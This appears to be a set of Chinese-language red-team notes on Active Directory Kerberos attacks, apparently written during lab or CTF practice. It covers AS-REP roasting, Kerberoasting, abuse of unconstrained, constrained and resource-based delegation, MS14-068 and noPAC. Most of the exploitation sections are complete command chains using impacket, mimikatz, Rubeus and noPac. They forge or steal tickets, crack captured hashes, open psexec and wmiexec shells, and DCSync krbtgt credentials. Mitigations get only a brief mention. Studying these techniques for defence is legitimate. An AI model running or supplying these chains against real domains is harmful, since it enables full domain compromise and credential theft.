Kerberos攻击

基础概念

SPN

SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

SPN分为两种类型:

1.一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。

2.一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

给域用户注册SPN

setspn -U -A priv/test many

AS

AS-REP Roasting

拿到的用户名放到kerbrute里去跑,可以得到合法用户

kerbrute.exe userenum --dc 172.22.60.8 -d xiaorang.lab user.txt

寻找这些用户是否开启了“不要求Kerberos预身份验证”选项

AS-REP Roasting

proxychains4 impacket-GetNPUsers -dc-ip 172.22.60.8  xiaorang.lab/ -usersfile users.txt

然后得到的hash值离线爆破

hashcat -a 0 -m 18200 --force 1.txt /usr/share/wordlists/rockyou.txt

hashcat -m 18200 '$krb5asrep$23$wangyun@xiaorang.lab@XIAORANG.LAB:bd4c55b9ad6dfe9588622d84ab60bad9$c246e2f76d34448d9c7dd6dec03b7333f8cb1b363b736e214e6bc717e7a6cb8d144b0bf83d0472450db307ea6d2068bbf66d77dd316cae5cb680c8dda30f4655e99dedc39b00360a43dd1db14d7322e3bb4d2a7a1fc1d8f5f2200af3a888c7d1233043ec69ff87df5aff0d4ce2e02428d4b3f921d44b7f654e7a34d671fd4d6c33cb07b58fd849ae0a9aea7e7c9419a06b3b07d844d74b2a95b14d8baf459bf9f5bea623eb4d354735e71b5a3751cf8006a7cf1b5a4e5d3f2abe7569ec5faf9401833a4b4677a395a6d931b374f0f47a380d848ceed29a414c39608188d0cdab58a13b3d1caf26c162842ce0' /usr/share/wordlists/rockyou.txt --force

TGS

Kerberoasting

https://antipassion.github.io/2021/09/27/Kerberoasting%E6%94%BB%E5%87%BB/

  • Kerberoasting 当域内某个用户去请求同域内的某个服务实例时,请求会首先被 送达至KDSAS 中进行身份认证。
  • 通过后 AS 会返回一个由用户密码hash加密而成的TGT票据给用户,然后用户再拿着TGT票据去请求TGSTGS验证成功后会返回一个用对应服务账号的密码hash加密过**(RC4_HMAC_MD5)的票据TGS**
  • 用户拿着TGS通过目标服务实例验证后可以去访问对应的服务资源,Kerberoasting攻击利用TGS票据加密算法已知这一条件,尝试穷举口令,对TGS进行对比,若TGS相同,则口令正确。得到对应服务实例的明文密码。

利用思路如下:

  1. 查询SPN,找到有价值的SPN,需要满足如下条件
    • SPN注册在域用户账户下(Users)
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 利用字典破解TGS拿到明文密码

委派攻击

https://xz.aliyun.com/t/11555

https://www.cnblogs.com/yokan/p/16164761.html

https://forum.butian.net/share/1591

是将域用户的权限委派给服务账号,委派之后,服务账号就可以以域用户的身份去做域用户能够做的事

注意:能够被委派的用户只能是==服务账号==或者==机器账号==

1.机器账户:活动目录中的computers组内的计算机,也被称为机器账号。

2、服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等,还有就是域用户通过==注册SPN==也能成为服务账号。

委派攻击分为非约束性委派、约束型委派、基于资源的约束性委派

非约束性委派

服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT, 模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。

配置了非约束性委派属性的机器账号的userAccountControl 属性有个Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。

配置了非约束性委派属性的服务账号的userAccountControl 属性有个Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=524800。

查找非约束委派的主机或服务账号(域控默认配置非约束委派属性)

1、 利用powersploit中的powerview

Import-Module .\PowerView.ps1;

查询非约束委派的主机 Get-NetComputer -Unconstrained -Domain yokan.com

查询非约束委派的服务账号 Get-NetUser -Unconstrained -Domain yokan.com | select name

2、 利用ADFind

查找域中配置非约束委派的用户

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

3、 ldapsearch

非约束性委派大致流程

user访serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA,这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境

image-20240402165112651

攻击

攻击一

用域管访问SERVER2012机器

在拿到的非约束委派机器上以管理员权限运行mimikatz:
privilege::debug

导出票据
sekurlsa::tickets /export

此时拿到了管理员的票据,用mimikatz将票据注入内存中,然后访问域控:
首先使用mimikatz清除内存中的票据
kerberos::purge

然后导入票据
kerberos::ptt [0;7b5d92a]-2-0-60a00000-Administrator@krbtgt-YOKAN.COM.kirbi

查看票据
kerberos::list

非约束委派+spooler打印机

如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的

利用原理

利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

复现参考:

https://xz.aliyun.com/t/7217

https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw

利用工具:https://github.com/cube0x0/CVE-2021-1675

AdFind.exe(http://www.joeware.net/freetools/tools/adfind/)

Impacket(https://github.com/SecureAuthCorp/impacket)

SpoolSample(https://github.com/leechristensen/SpoolSample/)

Rubeus(https://github.com/GhostPack/Rubeus)

(1)查询域内配置非约束委派的主机:
AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
(2)查看域控主机上是否运行PrintSpooler服务(默认运行)
ls [\ad\pipe\spoolss](file://ad/pipe/spoolss) 
还有另一种方法。我们可以使用impacket中rpcdump.py脚本扫描存在PrintSpooler服务的主机
(3)使用Rubeus监听来自域控(AD)的4624登录日志(需要管理员权限):
(4)在win10主机上运行SpoolSample.exe,向域控(WIN-1D09BAA27UF)的Spooler服务发送请求,强制域控(WIN-1D09BAA27UF)向win10主机发起认证:
(5)捕捉到来自域控(AD)的认证请求,导出其TGT数据:
(6)使用Rubues进行PTT票据传递

约束型委派

侦察方法

# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 导入
powershell-import PowerView.ps1

# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,如下所示

在约束委派中的kerberos中,用户同样还是会将TGT发送给相关受委派的服务,但是由于S4U2proxy的影响,对发送给受委派的服务去访问其他服务做了限制,不允许受委派的服务代表用户使用这个TGT去访问任意服务,而是只能访问指定的服务。

引入了两个新的概念S4U2Self和S4U2Proxy

下述请求的文字描述:

\1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。

\2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

\3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。

\4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。

注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了

\5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。

\6. service1以用户的名义向KDC请求用户访问service2的ST2

\7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。

\8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。

\9. service2响应步骤8的请求。

\10. service1响应用户对步骤5中的请求。

S4U2Self(用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。) 通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是协议转换。有时用户会通过其他协议(例如NTLM或者是基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。

S4U2proxy(拿用户的可转发的ST1请求用于访问服务器的ST2) 该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

S4U2Self允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST),该服务票据TGS(ST)包含了用户的相关信息,比如该用户的组信息等。

S4U2Proxy允许受约束委派的服务通过服务票据ST,然后代表用户去请求指定的服务。

==由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT,所以只能模拟用户访问特定的服务,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2。==

image-20240402170549288

攻击

  • 利用1
当知道justtest这个服务用户的明文密码或者Hash时,可以用kekeo请求它的TGT:

拥有明文密码
tgt::ask /user:justtest /domain:yokan.com /password:**********

拥有账户的Hash
tgt::ask /user:justtest /domain:yokan.com /NTLM:xxxxxxxxxxxxxxx

PS:如果既不知道明文也不知道Hash,如果有了服务用户登录的主机权限,可以用mimikatz从内存中把服务用户的TGT dump下来照样可以实现
从内存中导出所有票据
privilege::debug
sekurlsa::tickets /export

然后通过justtest的TGT伪造s4u请求以administrator身份请求访问域控(WIN-1D09BAA27UF) cifs的ST :
*tgs::s4u /tgt:TGT_justtest@YOKAN.COM_krbtgt~yokan.com@YOKAN.COM.kirbi /user:Administrator@yokan.com /service:cifs/WIN-1D09BAA27UF.yokan.com*
(S4U2Self获取到的ST1以及S4U2Proxy获取到的域控CIFS服务的ST2会保存在当前目录下,然后我们用mimikatz将ST2导入当前会话即可)

用mimikatz将票据导入内存中
*kerberos::ptt TGS_Administrator@yokan.com@YOKAN.COM_cifs~WIN-1D09BAA27UF.yokan.com@YOKAN.COM.kirbi*
  • 利用约束委派生成黄金票据
TGT的生成是由krbtgt用户加密和签名的,如果我们能委派krbtgt服务,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

我们可以用impacket套件攻击(可以py脚本,也可以exe,这里用py)

使用getST向KDC请求administrator的TGT:
*python getst.py -dc-ip 192.168.111.134 -spn krbtgt/yokan.com -impersonate Administrator yokan.com/justtest:password*
参数:
-impersonate:表示伪造用户
-spn:表示我们要委派的服务的spn,这里是TGS
-dc-ip:域控ip
执行之后会在当前目录生成一个缓存文件Administrator.ccache



黄金票据利用:
(1)获取域控权限
用mimikatz进行ptc(pass the cache),将缓存注入当前会话中
kerbores::ptc C:\path\test.ccache
cmd下,klist查看缓存的票据
klist

(2)用wmiexec弹出一个权限为administrator交互式的shell
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@WIN-1D09BAA27UF.yokan.com -dc-ip 192.168.111.134

(3)导出域内哈希
set KRB5CCNAME=administrator.ccache
python secretsdump.py -no-pass -k WIN-1D09BAA27UF.yokan.com

基于资源的约束性委派 RBCD

在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中

条件

  • 不需要域管理员权限
  • 对象需要有GernericALL/GenericWrite/WriteDacl/WriteProperty等权限(完全控制权限、属性写、DACL写、写对象的属性)
  • 可以创建机器账户的域用户(或已知机器账户)

==简单来说就是你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击==

基于资源的约束性委派的优势

  • 委派的权限授予给了拥有资源的后端,而不再是前端
  • 约束性委派不能跨域进行委派,基于资源的约束性委派==可以跨域和林==
  • 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehaffOtherldentity属性权限也就是将计算机加入域的域用户和机器自身拥有权限。

约束性委派和基于资源的约束性委派配置的差别

  • ==传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。==
  • ==而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。==
  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)

什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性:

  • 将主机加入域的用户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了)
  • Account Operator组成员
  • 该主机的机器账户

什么是将机器加入域的域用户?

因为将一个机器加入域的时候不是要输入一个域用户的账户密码吗 就是输入的这个用户

如果一个域环境 域用户A 将域内win2012 和 win7 加入了域 我们拿到了域用户A的权限 就可以拿下win2012 和 win7

攻击

直接用impact打

生成机器账户
01.proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 02\$ -computer-pass Passw0rd -dc-ip 172.22.15.13
02.SharpAllowedToAct.exe -m ljc886 -p qwer1234! -t XR-0687 -a XR-DC01.xiaorang.lab -d xiaorang.lab

修改属性
proxychains impacket-rbcd xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from '02$'

生成票据
proxychains impacket-getST xiaorang.lab/'02$':'Passw0rd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

导入票据
export KRB5CCNAME=Administrator.ccache

无密码连接
proxychains impacket-psexec administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
proxychains impacket-wmiexec XR-0687.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13

证qiyou这个用户对dm2008是否具有写权限,可以使用PowerView枚举DM2008.test.local的中的特定ACE

Get-DomainUser -Identity qiyou -Properties objectsid
Get-DomainObjectAcl -Identity DM2008  | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}

我们现在还需要的是一个具有SPN的账户,因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota,这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户,而计算机账户默认是注册RestrictedKrbHost/domainHOST/domain这两个SPN的,所以这里刚好符合我们的意图。

我们可以使用Kevin RobertsonPowermad中的New-MachineAccount来创建一个用户名为evilsystem,密码为evil的计算机账户

New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)

下面是修改DM2008的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值,有两种方法可以修改,Powerview或者ActiveDirectory模块

配置evilsystem到DM2008的基于资源约束的委派

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DM2008| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

还要注意一点的就是,msds-allowedtoactonbehalfofotheridentity属性的值是表示安全描述符的字节数组,所以是不能直接使用字符串型,否则会出现约束冲突的情况。

验证是否成功添加

Get-DomainComputer DM2008 -Properties msds-allowedtoactonbehalfofotheridentity

若想清除msds-allowedtoactonbehalfofotheridentity属性的值,可用如下命令:

Set-DomainObject DM2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

配置完msDS-AllowedToActOnBehalfOfOtherIdentity属性之后就可以通过基于资源的约束委派去攻击目标主机了

因为Rubeus是不支持明文的,所以先把它转换为hash

Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local

然后用evilsystem$的hash请求白银票据并导入到当前会话中

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

导入之后尝试访问dm2008

域委派防范措施

高权限用户,设置为敏感用户,不能被委派

主机账号需设置委派时,只能设置为约束性委派;

Windows 2012 R2及更高的系统建立了受保护的用户组Protected Users,组内用户不允许被委派,这是有效的手段。受保护的用户组,

但有一个cve可绕过这些限制CVE-2020-1704

PAC攻击

MS14-068

漏洞危害:允许任意域成员提权为域管权限

前提

1.域控没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机

3.有这台域内计算机的域用户密码和Sid

漏洞自检可在域控命令查询,以下两种方式皆可:

systeminfo |findstr "KB3011780"

wmic qfe GET hotfixid |findstr "KB3011780"

原理

先来看PAC在kerberos中的的位置:

AS-REP:将PAC作为TGT的一部分发送给Client(PAC包含client的sid,client所在的组),Client使用TGT向KDC的TGS模块发起访问Server服务时,KDC的TGS模块首先解密TGT,并通过校验2个签名,以验证PAC的合法性。如果通过验证,KDC的TGS模块用2个新的签名替代老的签名来保证PAC不被篡改。第一个签名的密钥为Server的NTLM,第二个密钥为Server与Client的临时会话密钥

TGS-REP :重新签名后的PAC被放置在TGS(ST)中(这一步没有验证client有没有访问服务的权限,只要TGT正确,就返回TGS票据)

AP_REP: server使用自身的hash解密TGS。解密成功,server会拿着PAC去询问DC,该用户是否具有访问权限,DC拿到PAC后解密,获取client的sid以及所在的组信息,再根据该服务的ACL,判断client是否具有访问server的权限。通过认证后server 将返回最终的AP_REP并与client建立通信 (有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash,可以制作TGS,也不能制作PAC,PAC当然也验证不成功,但是有些服务不去验证PAC,这是白银票据成功的前提)

TGS-REP中没有验证client是否具有访问server的权限,在上述认证流程中,只要用户的hash正确,就可以拿到TGT,继而拿到TGS去访问服务。就是说上面的认证只解决了“Who am I”的问题,而没有解决 “ What can I do” 的问题

因此微软引进了 PAC

PAC包含Client的User的SID、Group的SID。==PAC决定了Client的组属性,即决定了Client的权限==。PAC为了保证自身的合法性,还包含2个签名,Key为krbtgt的NTLM hash,签名的内容除了User SID、Group SID外,还有其他部分PAC作为TGT的一部分,是加密的,key为krbtgt的NTLM hash。Client向KDC的AS模块发起认证请求,AS返回TGT时,会根据Client所在的组,生成PAC,包含Client的User SID、Group SID,以及用于确保PAC不被篡改的2个签名

PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。

该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的PAC

漏洞三个成因:

  1. KDC对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可
  2. PAC没有被放在TGT中,放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息,PAC必须是密文,经过Key加密的KDC会从Authenticator中取出来subkey,把PAC信息解密并利用客户端设定的签名算法验证签名
  3. KDC验证缺少PAC的TGT成功后,再验证不在TGT中 的PAC的合法性。如果2个均验证成功,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是TGS

至此,漏洞的原理大致了解,普通用户可以通过改变 PAC 的 TGT 来伪造票据获得管理员权限。

漏洞利用

那么漏洞利用思路:

生成一张TGT票据(此时没有伪造的PAC,为了给伪造的PAC腾出位置),伪造PAC,向TGS请求,此时返回的TGS票据(ST)里面就含有伪造的PAC

利用 impacket 下的 goldenPac.py 或者 Windows 环境下的 goldenPAC.exe,这个工具是 ms14-068 与 psexec 的结合,使用最方便快捷。

# goldenPac.py
python3 goldenPac.py zjun.com/user1:P@ssw0rd@P-DC.zjun.com -dc-ip 172.16.86.136 -target-ip 172.16.86.136 -debug

# goldenPac.exe
goldenPac.exe zjun.com/user1:P@ssw0rd@P-DC.zjun.com

其他的如:msf (ms14_068_kerberos_checksum 模块)、kekeo、pykek 都可以实现漏洞利用:

# msf
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

# kekeo
exploit::ms14068 /domain:zjun.com /user:user1 /password:P@ssw0rd /sid:S-1-5-21-2335421620-514153290-2844484534-1125 /ptt

noPAC

2021 年 11 月 9 日,国外研究员在推特上发布了 Active Directory 相关的 CVE,CVE-2021-42278 & CVE-2021-42287 ,两个漏洞组合可导致域内普通用户权限提升至域管权限。

利用条件

利用门槛貌似很低

(1)一个普通域成员帐户。

(2)域用户有创建机器用户的权限(一般默认权限)。

(3)DC未打补丁KB5008380或KB5008602。

漏洞原理

  • CVE-2021-42278, 机器用户应当是computer$的形式,但是实际并没有验证机器账号是否有$。导致机器用户名可以被模拟冒用。

  • CVE-2021-42287,Kerberos在处理UserName字段时,如果找不到 UserName 的话,KDC会继续查找 UserName$,如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的⽤户。正是因为这个处理逻辑,导致了漏洞的产⽣。触发这个点有两种方式

    • 跨域请求:跨域请求时,⽬标域活动⽬录数据库是找不到其他域的⽤户的,因此会⾛进这个 处理UserName的逻辑。
    • 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到⽤户,然后⾛进这个处理UserName的逻辑。

    但是这还是不够,仅仅让KDC⾛进这个处理UserName的逻辑,还不能伪造⾼权限。因为票据中代表⽤户身份权限是数据块是PAC。⽽TGT认购权证中的PAC是根据预认证身份信息⽣成的,这个我们⽆法伪造。因此得想办法在ST服务票据中进⾏伪造。⽽正常的ST服务票据中的PAC是直接拷⻉TGT认购权证中的。因此,得想办法让KDC在TGS-REP的时候重新⽣成PAC,⽽不是拷⻉TGT票据中的PAC。这⾥也有两种⽅式:

    • S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新⽣成的。
    • 跨域⽆PAC的TGT票据进⾏TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新⽣成。

漏洞利用

impacket

# 0. 创建机器账号
python3 addcomputer.py -computer-name 'nopacTest$' -computer-pass '1qaz@WSX' -dc-ip 10.211.55.30 'hacker.lab/hacker:1qaz@WSX' 

# 1. 清除SPN
python3 addspn.py --clear -t 'nopacTest$' -u 'hacker\hacker' -p '1qaz@WSX' r-dc.hacker.lab

# 2. 重命名计算机(计算机->DC)
python3 renameMachine.py -current-name 'nopacTest$' -new-name 'r-dc' -dc-ip r-dc.hacker.lab hacker/hacker:1qaz@WSX

# 3. 获取TGT 使用修改后的计算机名和机器密码
python3 getTGT.py -dc-ip r-dc.hacker.lab hacker.lab/r-dc:1qaz@WSX

# 4. 重命名计算机
python3 renameMachine.py -current-name 'r-dc' -new-name 'nopacTest$' -dc-ip r-dc.hacker.lab hacker/hacker:1qaz@WSX

# 5. 使用TGT利用S4U2self 获取ST (cifs/ldap)/r-dc.hacker.lab
export KRB5CCNAME=r-dc.ccache 
python3 getST.py -impersonate 'administrator' -spn 'cifs/r-dc.hacker.lab' -k -no-pass -dc-ip r-dc.hacker.lab hacker/r-dc

# 6. DCSync 导出hash
export KRB5CCNAME=administrator.ccache 
python3 secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip r-dc.hacker.lab @r-dc.hacker.lab

nopac.exe

项目地址:https://github.com/cube0x0/noPac

检查是否存在漏洞

noPac.exe scan -domain hacker.lab -user "hacker" -pass "1qaz@WSX"

利用

# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
noPac.exe scan -domain hacker.lab -user "hacker" -pass "1qaz@WSX"

# 使用一键化工具获得域控cifs的权限
noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac1 /mPassword 1qaz@WSX /service cifs /ptt

# 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac2 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

# 使用dcsync导出域内krbtgt密码
mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"

获得域控cifs的权限ST测试ST票据可用

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac1 /mPassword 1qaz@WSX /service cifs /ptt

获取ldap权限的ST,mimikatz的dcsync功能导出hash

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac2 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"
0%